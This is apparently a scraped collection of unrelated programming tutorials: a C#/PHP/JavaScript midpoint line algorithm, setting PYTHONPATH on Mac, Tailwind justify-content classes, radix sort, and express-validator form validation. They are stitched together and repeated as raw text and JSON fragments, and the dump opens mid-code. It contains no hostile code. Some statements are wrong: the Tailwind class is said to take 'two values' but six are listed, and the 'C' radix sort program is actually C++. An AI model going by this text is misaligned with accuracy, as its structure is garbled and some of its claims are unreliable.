initial given point // putpixel(x,y) can be used // to print pixel of line in // graphics Console.Write(x + \",\" + y + \"\\n\"); // iterate through value of X while (x < X2) { x++; // E or East is chosen if (d < 0) d = d + dy; // NE or North East is chosen else { d += (dy - dx); y++; } // Plot intermediate points // putpixel(x,y) is used to print // pixel of line in graphics Console.Write(x + \",\" + y + \"\\n\"); } } // Driver code public static void Main () { int X1 = 2, Y1 = 2, X2 = 8, Y2 = 5; midPoint(X1, Y1, X2, Y2); }} // This code is contributed by nitin mittal.", "e": 9421, "s": 8142, "text": null }, { "code": "<?php// PHP program for Mid-point// line generation // midPoint function for// line generationfunction midPoint($X1, $Y1, $X2, $Y2){ // calculate dx & dy $dx = $X2 - $X1; $dy = $Y2 - $Y1; // initial value of // decision parameter d $d = $dy - ($dx/2); $x = $X1; $y = $Y1; // Plot initial given point // putpixel(x,y) can be used // to print pixel of line // in graphics echo $x , \",\" , $y , \"\\n\"; // iterate through // value of X while ($x < $X2) { $x++; // E or East is chosen if ($d < 0) $d = $d + $dy; // NE or North East // is chosen else { $d += ($dy - $dx); $y++; } // Plot intermediate points // putpixel(x,y) is used // to print pixel of // line in graphics echo $x , \",\" ,$y , \"\\n\"; }} // Driver Code $X1 = 2; $Y1 = 2; $X2 = 8; $Y2 = 5; midPoint($X1, $Y1, $X2, $Y2); // This code is contributed by nitin mittal.?>", "e": 10469, "s": 9421, "text": null }, { "code": "<script> // JavaScript program for the above approach // midPoint function for line generationfunction midPoint(X1, Y1, X2, Y2){ // calculate dx & dy let dx = X2 - X1; let dy = Y2 - Y1; // initial value of decision // parameter d let d = dy - (dx/2); let x = X1, y = Y1; // Plot initial given point // putpixel(x,y) can be used to // print pixel of line in graphics document.write(x +\",\" + y + \"<br/>\"); // iterate through value of X while (x < X2) { x++; // E or East is chosen if (d < 0) d = d + dy; // NE or North East is chosen else { d += (dy - dx); y++; } // Plot intermediate points // putpixel(x,y) is used to print // pixel of line in graphics document.write(x + \",\" + y + \"<br/>\"); }} // Driver Code let X1 = 2, Y1 = 2, X2 = 8, Y2 = 5; midPoint(X1, Y1, X2, Y2); // This code is contributed by chinmoy1997pal.</script>", "e": 11465, "s": 10469, "text": null }, { "code": null, "e": 11474, "s": 11465, "text": "Output: " }, { "code": null, "e": 11502, "s": 11474, "text": "2,2\n3,3\n4,3\n5,4\n6,4\n7,5\n8,5" }, { "code": null, "e": 12065, "s": 11502, "text": "Time Complexity: O(x2 – x1)Auxiliary Space: O(1) References: http://www.eng.utah.edu/~cs5600/slides/Wk%202%20Lec02_Bresenham.pdfThis article is contributed by Shivam Pradhan (anuj_charm). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above." }, { "code": null, "e": 12078, "s": 12065, "text": "nitin mittal" }, { "code": null, "e": 12085, "s": 12078, "text": "ash264" }, { "code": null, "e": 12102, "s": 12085, "text": "vikashkumar14338" }, { "code": null, "e": 12112, "s": 12102, "text": "pradushjn" }, { "code": null, "e": 12127, "s": 12112, "text": "chinmoy1997pal" }, { "code": null, "e": 12143, "s": 12127, "text": "pankajsharmagfg" }, { "code": null, "e": 12161, "s": 12143, "text": "computer-graphics" }, { "code": null, "e": 12172, "s": 12161, "text": "Algorithms" }, { "code": null, "e": 12183, "s": 12172, "text": "Algorithms" } ]
How to set python environment variable PYTHONPATH on Mac?
To set the PYTHONPATH on Mac OS to point Python to look in other directories for the module and package imports, export the PYTHONPATH variable as follows: $ export PYTHONPATH=${PYTHONPATH}:${HOME}/foo In this case, are adding the foo directory to the PYTHONPATH. Note that we are appending it and not replacing the PYTHONPATH's original value. In most cases, you shouldn't mess with PYTHONPATH. More often than not, you are doing it wrong and it will only bring you trouble.
[ { "code": null, "e": 1218, "s": 1062, "text": "To set the PYTHONPATH on Mac OS to point Python to look in other directories for the module and package imports, export the PYTHONPATH variable as follows:" }, { "code": null, "e": 1264, "s": 1218, "text": "$ export PYTHONPATH=${PYTHONPATH}:${HOME}/foo" }, { "code": null, "e": 1538, "s": 1264, "text": "In this case, are adding the foo directory to the PYTHONPATH. Note that we are appending it and not replacing the PYTHONPATH's original value. In most cases, you shouldn't mess with PYTHONPATH. More often than not, you are doing it wrong and it will only bring you trouble." } ]
Tailwind CSS Justify Content - GeeksforGeeks
23 Mar, 2022 This class accepts two values in tailwind CSS. It is the alternative to the CSS justify-content property. This class is used to describe the alignment of the flexible box container. It contains the space between and around content items along the main axis of a flex container. It is basically used for controlling how flex and grid items are positioned along a container’s main axis. Justify Content classes: justify-start justify-end justify-center justify-between justify-around justify-evenly justify-start: It is used to align flex items from the start of the container. Syntax: <element class="justify-start">...</element> Example: HTML <!DOCTYPE html> <head> <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet"> </head> <body class="text-center"> <h1 class="text-green-600 text-5xl font-bold"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id="main" class="flex justify-start flex-row"> <div class="bg-green-700 w-24 h-12">1</div> <div class="bg-green-600 w-24 h-12">2</div> <div class="bg-green-500 w-24 h-12">3</div> <div class="bg-green-400 w-24 h-12">4</div> </div> </body> </html> Output: justify-end: It is used to align flex items from the end of the container. Syntax: <element class="justify-end">...</element> Example: HTML <!DOCTYPE html> <head> <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet"> </head> <body class="text-center"> <h1 class="text-green-600 text-5xl font-bold"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id="main" class="flex justify-end flex-row"> <div class="bg-green-700 w-24 h-12">1</div> <div class="bg-green-600 w-24 h-12">2</div> <div class="bg-green-500 w-24 h-12">3</div> <div class="bg-green-400 w-24 h-12">4</div> </div> </body> </html> Output: justify-center: It is used to align flex items from the center of the container. Syntax: <element class="justify-center">...</element> Example: HTML <!DOCTYPE html> <head> <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet"> </head> <body class="text-center"> <h1 class="text-green-600 text-5xl font-bold"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id="main" class="flex justify-center flex-row"> <div class="bg-green-700 w-24 h-12">1</div> <div class="bg-green-600 w-24 h-12">2</div> <div class="bg-green-500 w-24 h-12">3</div> <div class="bg-green-400 w-24 h-12">4</div> </div> </body> </html> Output: justify-between: The flex items are placed with even spacing where the item is pushed to start and the last item is pushed to end. Syntax: <element class="justify-between">...</element> Example: HTML <!DOCTYPE html> <head> <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet"> </head> <body class="text-center"> <h1 class="text-green-600 text-5xl font-bold"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id="main" class="flex justify-between flex-row"> <div class="bg-green-700 w-24 h-12">1</div> <div class="bg-green-600 w-24 h-12">2</div> <div class="bg-green-500 w-24 h-12">3</div> <div class="bg-green-400 w-24 h-12">4</div> </div> </body> </html> Output: justify-around: The flex items are placed with equal spacing from each other, the corners. Syntax: <element class="justify-around">...</element> Example: HTML <!DOCTYPE html> <head> <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet"> </head> <body class="text-center"> <h1 class="text-green-600 text-5xl font-bold"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id="main" class="flex justify-around flex-row"> <div class="bg-green-700 w-24 h-12">1</div> <div class="bg-green-600 w-24 h-12">2</div> <div class="bg-green-500 w-24 h-12">3</div> <div class="bg-green-400 w-24 h-12">4</div> </div> </body> </html> Output: justify-evenly: The items are positioned with equal spacing between them but the spacing from corners differs. Syntax: <element class="justify-evenly">...</element> Example: HTML <!DOCTYPE html> <head> <link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet"> </head> <body class="text-center"> <h1 class="text-green-600 text-5xl font-bold"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id="main" class="flex justify-evenly flex-row"> <div class="bg-green-700 w-24 h-12">1</div> <div class="bg-green-600 w-24 h-12">2</div> <div class="bg-green-500 w-24 h-12">3</div> <div class="bg-green-400 w-24 h-12">4</div> </div> </body> </html> Output: Tailwind CSS Tailwind-Alignment CSS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to insert spaces/tabs in text using HTML/CSS? Top 10 Projects For Beginners To Practice HTML and CSS Skills How to create footer to stay at the bottom of a Web page? How to update Node.js and NPM to next version ? CSS to put icon inside an input element in a form Remove elements from a JavaScript Array Installation of Node.js on Linux Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS?
[ { "code": null, "e": 37495, "s": 37467, "text": "\n23 Mar, 2022" }, { "code": null, "e": 37880, "s": 37495, "text": "This class accepts two values in tailwind CSS. It is the alternative to the CSS justify-content property. This class is used to describe the alignment of the flexible box container. It contains the space between and around content items along the main axis of a flex container. It is basically used for controlling how flex and grid items are positioned along a container’s main axis." }, { "code": null, "e": 37905, "s": 37880, "text": "Justify Content classes:" }, { "code": null, "e": 37919, "s": 37905, "text": "justify-start" }, { "code": null, "e": 37932, "s": 37919, "text": "justify-end " }, { "code": null, "e": 37948, "s": 37932, "text": "justify-center " }, { "code": null, "e": 37965, "s": 37948, "text": "justify-between " }, { "code": null, "e": 37981, "s": 37965, "text": "justify-around " }, { "code": null, "e": 37997, "s": 37981, "text": "justify-evenly " }, { "code": null, "e": 38076, "s": 37997, "text": "justify-start: It is used to align flex items from the start of the container." }, { "code": null, "e": 38084, "s": 38076, "text": "Syntax:" }, { "code": null, "e": 38129, "s": 38084, "text": "<element class=\"justify-start\">...</element>" }, { "code": null, "e": 38138, "s": 38129, "text": "Example:" }, { "code": null, "e": 38143, "s": 38138, "text": "HTML" }, { "code": "<!DOCTYPE html> <head> <link href=\"https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css\" rel=\"stylesheet\"> </head> <body class=\"text-center\"> <h1 class=\"text-green-600 text-5xl font-bold\"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id=\"main\" class=\"flex justify-start flex-row\"> <div class=\"bg-green-700 w-24 h-12\">1</div> <div class=\"bg-green-600 w-24 h-12\">2</div> <div class=\"bg-green-500 w-24 h-12\">3</div> <div class=\"bg-green-400 w-24 h-12\">4</div> </div> </body> </html>", "e": 38725, "s": 38143, "text": null }, { "code": null, "e": 38733, "s": 38725, "text": "Output:" }, { "code": null, "e": 38808, "s": 38733, "text": "justify-end: It is used to align flex items from the end of the container." }, { "code": null, "e": 38816, "s": 38808, "text": "Syntax:" }, { "code": null, "e": 38859, "s": 38816, "text": "<element class=\"justify-end\">...</element>" }, { "code": null, "e": 38868, "s": 38859, "text": "Example:" }, { "code": null, "e": 38873, "s": 38868, "text": "HTML" }, { "code": "<!DOCTYPE html> <head> <link href=\"https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css\" rel=\"stylesheet\"> </head> <body class=\"text-center\"> <h1 class=\"text-green-600 text-5xl font-bold\"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id=\"main\" class=\"flex justify-end flex-row\"> <div class=\"bg-green-700 w-24 h-12\">1</div> <div class=\"bg-green-600 w-24 h-12\">2</div> <div class=\"bg-green-500 w-24 h-12\">3</div> <div class=\"bg-green-400 w-24 h-12\">4</div> </div> </body> </html>", "e": 39453, "s": 38873, "text": null }, { "code": null, "e": 39461, "s": 39453, "text": "Output:" }, { "code": null, "e": 39542, "s": 39461, "text": "justify-center: It is used to align flex items from the center of the container." }, { "code": null, "e": 39550, "s": 39542, "text": "Syntax:" }, { "code": null, "e": 39596, "s": 39550, "text": "<element class=\"justify-center\">...</element>" }, { "code": null, "e": 39605, "s": 39596, "text": "Example:" }, { "code": null, "e": 39610, "s": 39605, "text": "HTML" }, { "code": "<!DOCTYPE html> <head> <link href=\"https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css\" rel=\"stylesheet\"> </head> <body class=\"text-center\"> <h1 class=\"text-green-600 text-5xl font-bold\"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id=\"main\" class=\"flex justify-center flex-row\"> <div class=\"bg-green-700 w-24 h-12\">1</div> <div class=\"bg-green-600 w-24 h-12\">2</div> <div class=\"bg-green-500 w-24 h-12\">3</div> <div class=\"bg-green-400 w-24 h-12\">4</div> </div> </body> </html>", "e": 40193, "s": 39610, "text": null }, { "code": null, "e": 40201, "s": 40193, "text": "Output:" }, { "code": null, "e": 40332, "s": 40201, "text": "justify-between: The flex items are placed with even spacing where the item is pushed to start and the last item is pushed to end." }, { "code": null, "e": 40340, "s": 40332, "text": "Syntax:" }, { "code": null, "e": 40387, "s": 40340, "text": "<element class=\"justify-between\">...</element>" }, { "code": null, "e": 40396, "s": 40387, "text": "Example:" }, { "code": null, "e": 40401, "s": 40396, "text": "HTML" }, { "code": "<!DOCTYPE html> <head> <link href=\"https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css\" rel=\"stylesheet\"> </head> <body class=\"text-center\"> <h1 class=\"text-green-600 text-5xl font-bold\"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id=\"main\" class=\"flex justify-between flex-row\"> <div class=\"bg-green-700 w-24 h-12\">1</div> <div class=\"bg-green-600 w-24 h-12\">2</div> <div class=\"bg-green-500 w-24 h-12\">3</div> <div class=\"bg-green-400 w-24 h-12\">4</div> </div> </body> </html>", "e": 40985, "s": 40401, "text": null }, { "code": null, "e": 40993, "s": 40985, "text": "Output:" }, { "code": null, "e": 41084, "s": 40993, "text": "justify-around: The flex items are placed with equal spacing from each other, the corners." }, { "code": null, "e": 41092, "s": 41084, "text": "Syntax:" }, { "code": null, "e": 41138, "s": 41092, "text": "<element class=\"justify-around\">...</element>" }, { "code": null, "e": 41147, "s": 41138, "text": "Example:" }, { "code": null, "e": 41152, "s": 41147, "text": "HTML" }, { "code": "<!DOCTYPE html> <head> <link href=\"https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css\" rel=\"stylesheet\"> </head> <body class=\"text-center\"> <h1 class=\"text-green-600 text-5xl font-bold\"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id=\"main\" class=\"flex justify-around flex-row\"> <div class=\"bg-green-700 w-24 h-12\">1</div> <div class=\"bg-green-600 w-24 h-12\">2</div> <div class=\"bg-green-500 w-24 h-12\">3</div> <div class=\"bg-green-400 w-24 h-12\">4</div> </div> </body> </html>", "e": 41735, "s": 41152, "text": null }, { "code": null, "e": 41743, "s": 41735, "text": "Output:" }, { "code": null, "e": 41854, "s": 41743, "text": "justify-evenly: The items are positioned with equal spacing between them but the spacing from corners differs." }, { "code": null, "e": 41862, "s": 41854, "text": "Syntax:" }, { "code": null, "e": 41908, "s": 41862, "text": "<element class=\"justify-evenly\">...</element>" }, { "code": null, "e": 41917, "s": 41908, "text": "Example:" }, { "code": null, "e": 41922, "s": 41917, "text": "HTML" }, { "code": "<!DOCTYPE html> <head> <link href=\"https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css\" rel=\"stylesheet\"> </head> <body class=\"text-center\"> <h1 class=\"text-green-600 text-5xl font-bold\"> GeeksforGeeks </h1> <b>Tailwind CSS Justify Content Class</b> <div id=\"main\" class=\"flex justify-evenly flex-row\"> <div class=\"bg-green-700 w-24 h-12\">1</div> <div class=\"bg-green-600 w-24 h-12\">2</div> <div class=\"bg-green-500 w-24 h-12\">3</div> <div class=\"bg-green-400 w-24 h-12\">4</div> </div> </body> </html>", "e": 42505, "s": 41922, "text": null }, { "code": null, "e": 42513, "s": 42505, "text": "Output:" }, { "code": null, "e": 42526, "s": 42513, "text": "Tailwind CSS" }, { "code": null, "e": 42545, "s": 42526, "text": "Tailwind-Alignment" }, { "code": null, "e": 42549, "s": 42545, "text": "CSS" }, { "code": null, "e": 42566, "s": 42549, "text": "Web Technologies" }, { "code": null, "e": 42664, "s": 42566, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 42714, "s": 42664, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 42776, "s": 42714, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 42834, "s": 42776, "text": "How to create footer to stay at the bottom of a Web page?" }, { "code": null, "e": 42882, "s": 42834, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 42932, "s": 42882, "text": "CSS to put icon inside an input element in a form" }, { "code": null, "e": 42972, "s": 42932, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 43005, "s": 42972, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 43050, "s": 43005, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 43093, "s": 43050, "text": "How to fetch data from an API in ReactJS ?" } ]
C Program for Radix Sort - GeeksforGeeks
06 Aug, 2018 The Radix Sort Algorithm1) Do following for each digit i where i varies from least significant digit to the most significant digit..............a) Sort input array using counting sort (or any stable sort) according to the i\’th digit. // C++ implementation of Radix Sort#include<iostream>using namespace std; // A utility function to get maximum value in arr[]int getMax(int arr[], int n){ int mx = arr[0]; for (int i = 1; i < n; i++) if (arr[i] > mx) mx = arr[i]; return mx;} // A function to do counting sort of arr[] according to// the digit represented by exp.void countSort(int arr[], int n, int exp){ int output[n]; // output array int i, count[10] = {0}; // Store count of occurrences in count[] for (i = 0; i < n; i++) count[ (arr[i]/exp)%10 ]++; // Change count[i] so that count[i] now contains actual // position of this digit in output[] for (i = 1; i < 10; i++) count[i] += count[i - 1]; // Build the output array for (i = n - 1; i >= 0; i--) { output[count[ (arr[i]/exp)%10 ] - 1] = arr[i]; count[ (arr[i]/exp)%10 ]--; } // Copy the output array to arr[], so that arr[] now // contains sorted numbers according to current digit for (i = 0; i < n; i++) arr[i] = output[i];} // The main function to that sorts arr[] of size n using // Radix Sortvoid radixsort(int arr[], int n){ // Find the maximum number to know number of digits int m = getMax(arr, n); // Do counting sort for every digit. Note that instead // of passing digit number, exp is passed. exp is 10^i // where i is current digit number for (int exp = 1; m/exp > 0; exp *= 10) countSort(arr, n, exp);} // A utility function to print an arrayvoid print(int arr[], int n){ for (int i = 0; i < n; i++) cout << arr[i] << " ";} // Driver program to test above functionsint main(){ int arr[] = {170, 45, 75, 90, 802, 24, 2, 66}; int n = sizeof(arr)/sizeof(arr[0]); radixsort(arr, n); print(arr, n); return 0;} Please refer complete article on Radix Sort for more details! C Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments C Program to read contents of Whole File Header files in C/C++ and its uses How to Append a Character to a String in C C program to sort an array in ascending order Producer Consumer Problem in C Program to find Prime Numbers Between given Interval time() function in C Program to calculate First and Follow sets of given grammar C Program to Swap two Numbers Flex (Fast Lexical Analyzer Generator )
[ { "code": null, "e": 23790, "s": 23762, "text": "\n06 Aug, 2018" }, { "code": null, "e": 24025, "s": 23790, "text": "The Radix Sort Algorithm1) Do following for each digit i where i varies from least significant digit to the most significant digit..............a) Sort input array using counting sort (or any stable sort) according to the i\\’th digit." }, { "code": "// C++ implementation of Radix Sort#include<iostream>using namespace std; // A utility function to get maximum value in arr[]int getMax(int arr[], int n){ int mx = arr[0]; for (int i = 1; i < n; i++) if (arr[i] > mx) mx = arr[i]; return mx;} // A function to do counting sort of arr[] according to// the digit represented by exp.void countSort(int arr[], int n, int exp){ int output[n]; // output array int i, count[10] = {0}; // Store count of occurrences in count[] for (i = 0; i < n; i++) count[ (arr[i]/exp)%10 ]++; // Change count[i] so that count[i] now contains actual // position of this digit in output[] for (i = 1; i < 10; i++) count[i] += count[i - 1]; // Build the output array for (i = n - 1; i >= 0; i--) { output[count[ (arr[i]/exp)%10 ] - 1] = arr[i]; count[ (arr[i]/exp)%10 ]--; } // Copy the output array to arr[], so that arr[] now // contains sorted numbers according to current digit for (i = 0; i < n; i++) arr[i] = output[i];} // The main function to that sorts arr[] of size n using // Radix Sortvoid radixsort(int arr[], int n){ // Find the maximum number to know number of digits int m = getMax(arr, n); // Do counting sort for every digit. Note that instead // of passing digit number, exp is passed. exp is 10^i // where i is current digit number for (int exp = 1; m/exp > 0; exp *= 10) countSort(arr, n, exp);} // A utility function to print an arrayvoid print(int arr[], int n){ for (int i = 0; i < n; i++) cout << arr[i] << \" \";} // Driver program to test above functionsint main(){ int arr[] = {170, 45, 75, 90, 802, 24, 2, 66}; int n = sizeof(arr)/sizeof(arr[0]); radixsort(arr, n); print(arr, n); return 0;}", "e": 25838, "s": 24025, "text": null }, { "code": null, "e": 25900, "s": 25838, "text": "Please refer complete article on Radix Sort for more details!" }, { "code": null, "e": 25911, "s": 25900, "text": "C Programs" }, { "code": null, "e": 26009, "s": 25911, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 26018, "s": 26009, "text": "Comments" }, { "code": null, "e": 26031, "s": 26018, "text": "Old Comments" }, { "code": null, "e": 26072, "s": 26031, "text": "C Program to read contents of Whole File" }, { "code": null, "e": 26107, "s": 26072, "text": "Header files in C/C++ and its uses" }, { "code": null, "e": 26150, "s": 26107, "text": "How to Append a Character to a String in C" }, { "code": null, "e": 26196, "s": 26150, "text": "C program to sort an array in ascending order" }, { "code": null, "e": 26227, "s": 26196, "text": "Producer Consumer Problem in C" }, { "code": null, "e": 26280, "s": 26227, "text": "Program to find Prime Numbers Between given Interval" }, { "code": null, "e": 26301, "s": 26280, "text": "time() function in C" }, { "code": null, "e": 26361, "s": 26301, "text": "Program to calculate First and Follow sets of given grammar" }, { "code": null, "e": 26391, "s": 26361, "text": "C Program to Swap two Numbers" } ]
How to Validate Data using express-validator Module in Node.js ? - GeeksforGeeks
05 May, 2021 Validation in node.js can be easily done by using the express-validator module. This module is popular for data validation. There are other modules available in market like hapi/joi, etc but express-validator is widely used and popular among them.Steps to install express-validator module: You can install this package by using this command. You can install this package by using this command. npm install express-validator After installation, you can check your express-validator module version in command prompt using the command. After installation, you can check your express-validator module version in command prompt using the command. npm version express-validator After that, you can just create a simple data as shown below to send the data to the server.Filename: SampleForm.ejs After that, you can just create a simple data as shown below to send the data to the server.Filename: SampleForm.ejs html <!DOCTYPE html><html> <head> <title>Validation using Express-Validator</title> </head><body><h1>Demo Form</h1> <form action="saveData" method="POST"> <pre> Enter your Email : <input type="text" name="email"> <br> Enter your Name : <input type="text" name="name"> <br> Enter your Number : <input type="number" name="mobile"> <br> Enter your Password : <input type="password" name="password"> <br> <input type="submit" value="Submit Form"> </pre></form> </body></html> After that, you can just create a file, for example index.js as show below:Filename: index.js After that, you can just create a file, for example index.js as show below:Filename: index.js javascript const { check, validationResult } = require('express-validator'); const bodyparser = require('body-parser')const express = require("express")const path = require('path')const app = express() var PORT = process.env.port || 3000 // View Engine Setupapp.set("views", path.join(__dirname))app.set("view engine", "ejs") // Body-parser middlewareapp.use(bodyparser.urlencoded({ extended: false }))app.use(bodyparser.json()) app.get("/", function (req, res) { res.render("SampleForm");}) // check() is a middleware used to validate// the incoming data as per the fieldsapp.post('/saveData', [ check('email', 'Email length should be 10 to 30 characters') .isEmail().isLength({ min: 10, max: 30 }), check('name', 'Name length should be 10 to 20 characters') .isLength({ min: 10, max: 20 }), check('mobile', 'Mobile number should contains 10 digits') .isLength({ min: 10, max: 10 }), check('password', 'Password length should be 8 to 10 characters') .isLength({ min: 8, max: 10 })], (req, res) => { // validationResult function checks whether // any occurs or not and return an object const errors = validationResult(req); // If some error occurs, then this // block of code will run if (!errors.isEmpty()) { res.json(errors) } // If no error occurs, then this // block of code will run else { res.send("Successfully validated") }}); app.listen(PORT, function (error) { if (error) throw error console.log("Server created Successfully on PORT ", PORT)}) Steps to run the program: The project structure will look as shown below: The project structure will look as shown below: Make sure you have a ‘view engine’. We have used “ejs” and also install express and express-validator, body-parser using following commands: Make sure you have a ‘view engine’. We have used “ejs” and also install express and express-validator, body-parser using following commands: npm install ejs npm install express npm install body-parser npm install express-validator Run index.js file using below command: Run index.js file using below command: node index.js Open the browser and type this URL http://localhost:8080/, the fill this sample form with correct data as shown below: Open the browser and type this URL http://localhost:8080/, the fill this sample form with correct data as shown below: Then submit the form and if no error occurs, then you will see the following output: Then submit the form and if no error occurs, then you will see the following output: And if you try to submit the form with incorrect data, then you will see the error message as shown below: And if you try to submit the form with incorrect data, then you will see the error message as shown below: simmytarika5 Node.js-Misc Node.js Web Technologies Web technologies Questions Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Node.js fs.writeFile() Method Node.js fs.readFile() Method How to install the previous version of node.js and npm ? Difference between promise and async await in Node.js How to use an ES6 import in Node.js? Remove elements from a JavaScript Array Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS? Difference between var, let and const keywords in JavaScript
[ { "code": null, "e": 26731, "s": 26703, "text": "\n05 May, 2021" }, { "code": null, "e": 27023, "s": 26731, "text": "Validation in node.js can be easily done by using the express-validator module. This module is popular for data validation. There are other modules available in market like hapi/joi, etc but express-validator is widely used and popular among them.Steps to install express-validator module: " }, { "code": null, "e": 27077, "s": 27023, "text": "You can install this package by using this command. " }, { "code": null, "e": 27131, "s": 27077, "text": "You can install this package by using this command. " }, { "code": null, "e": 27161, "s": 27131, "text": "npm install express-validator" }, { "code": null, "e": 27272, "s": 27161, "text": "After installation, you can check your express-validator module version in command prompt using the command. " }, { "code": null, "e": 27383, "s": 27272, "text": "After installation, you can check your express-validator module version in command prompt using the command. " }, { "code": null, "e": 27413, "s": 27383, "text": "npm version express-validator" }, { "code": null, "e": 27532, "s": 27413, "text": "After that, you can just create a simple data as shown below to send the data to the server.Filename: SampleForm.ejs " }, { "code": null, "e": 27651, "s": 27532, "text": "After that, you can just create a simple data as shown below to send the data to the server.Filename: SampleForm.ejs " }, { "code": null, "e": 27656, "s": 27651, "text": "html" }, { "code": "<!DOCTYPE html><html> <head> <title>Validation using Express-Validator</title> </head><body><h1>Demo Form</h1> <form action=\"saveData\" method=\"POST\"> <pre> Enter your Email : <input type=\"text\" name=\"email\"> <br> Enter your Name : <input type=\"text\" name=\"name\"> <br> Enter your Number : <input type=\"number\" name=\"mobile\"> <br> Enter your Password : <input type=\"password\" name=\"password\"> <br> <input type=\"submit\" value=\"Submit Form\"> </pre></form> </body></html>", "e": 28174, "s": 27656, "text": null }, { "code": null, "e": 28270, "s": 28174, "text": "After that, you can just create a file, for example index.js as show below:Filename: index.js " }, { "code": null, "e": 28366, "s": 28270, "text": "After that, you can just create a file, for example index.js as show below:Filename: index.js " }, { "code": null, "e": 28377, "s": 28366, "text": "javascript" }, { "code": "const { check, validationResult } = require('express-validator'); const bodyparser = require('body-parser')const express = require(\"express\")const path = require('path')const app = express() var PORT = process.env.port || 3000 // View Engine Setupapp.set(\"views\", path.join(__dirname))app.set(\"view engine\", \"ejs\") // Body-parser middlewareapp.use(bodyparser.urlencoded({ extended: false }))app.use(bodyparser.json()) app.get(\"/\", function (req, res) { res.render(\"SampleForm\");}) // check() is a middleware used to validate// the incoming data as per the fieldsapp.post('/saveData', [ check('email', 'Email length should be 10 to 30 characters') .isEmail().isLength({ min: 10, max: 30 }), check('name', 'Name length should be 10 to 20 characters') .isLength({ min: 10, max: 20 }), check('mobile', 'Mobile number should contains 10 digits') .isLength({ min: 10, max: 10 }), check('password', 'Password length should be 8 to 10 characters') .isLength({ min: 8, max: 10 })], (req, res) => { // validationResult function checks whether // any occurs or not and return an object const errors = validationResult(req); // If some error occurs, then this // block of code will run if (!errors.isEmpty()) { res.json(errors) } // If no error occurs, then this // block of code will run else { res.send(\"Successfully validated\") }}); app.listen(PORT, function (error) { if (error) throw error console.log(\"Server created Successfully on PORT \", PORT)})", "e": 29970, "s": 28377, "text": null }, { "code": null, "e": 29998, "s": 29970, "text": "Steps to run the program: " }, { "code": null, "e": 30048, "s": 29998, "text": "The project structure will look as shown below: " }, { "code": null, "e": 30098, "s": 30048, "text": "The project structure will look as shown below: " }, { "code": null, "e": 30241, "s": 30098, "text": "Make sure you have a ‘view engine’. We have used “ejs” and also install express and express-validator, body-parser using following commands: " }, { "code": null, "e": 30384, "s": 30241, "text": "Make sure you have a ‘view engine’. We have used “ejs” and also install express and express-validator, body-parser using following commands: " }, { "code": null, "e": 30400, "s": 30384, "text": "npm install ejs" }, { "code": null, "e": 30424, "s": 30404, "text": "npm install express" }, { "code": null, "e": 30452, "s": 30428, "text": "npm install body-parser" }, { "code": null, "e": 30486, "s": 30456, "text": "npm install express-validator" }, { "code": null, "e": 30527, "s": 30486, "text": "Run index.js file using below command: " }, { "code": null, "e": 30568, "s": 30527, "text": "Run index.js file using below command: " }, { "code": null, "e": 30582, "s": 30568, "text": "node index.js" }, { "code": null, "e": 30707, "s": 30586, "text": "Open the browser and type this URL http://localhost:8080/, the fill this sample form with correct data as shown below: " }, { "code": null, "e": 30828, "s": 30707, "text": "Open the browser and type this URL http://localhost:8080/, the fill this sample form with correct data as shown below: " }, { "code": null, "e": 30915, "s": 30828, "text": "Then submit the form and if no error occurs, then you will see the following output: " }, { "code": null, "e": 31002, "s": 30915, "text": "Then submit the form and if no error occurs, then you will see the following output: " }, { "code": null, "e": 31111, "s": 31002, "text": "And if you try to submit the form with incorrect data, then you will see the error message as shown below: " }, { "code": null, "e": 31220, "s": 31111, "text": "And if you try to submit the form with incorrect data, then you will see the error message as shown below: " }, { "code": null, "e": 31239, "s": 31226, "text": "simmytarika5" }, { "code": null, "e": 31252, "s": 31239, "text": "Node.js-Misc" }, { "code": null, "e": 31260, 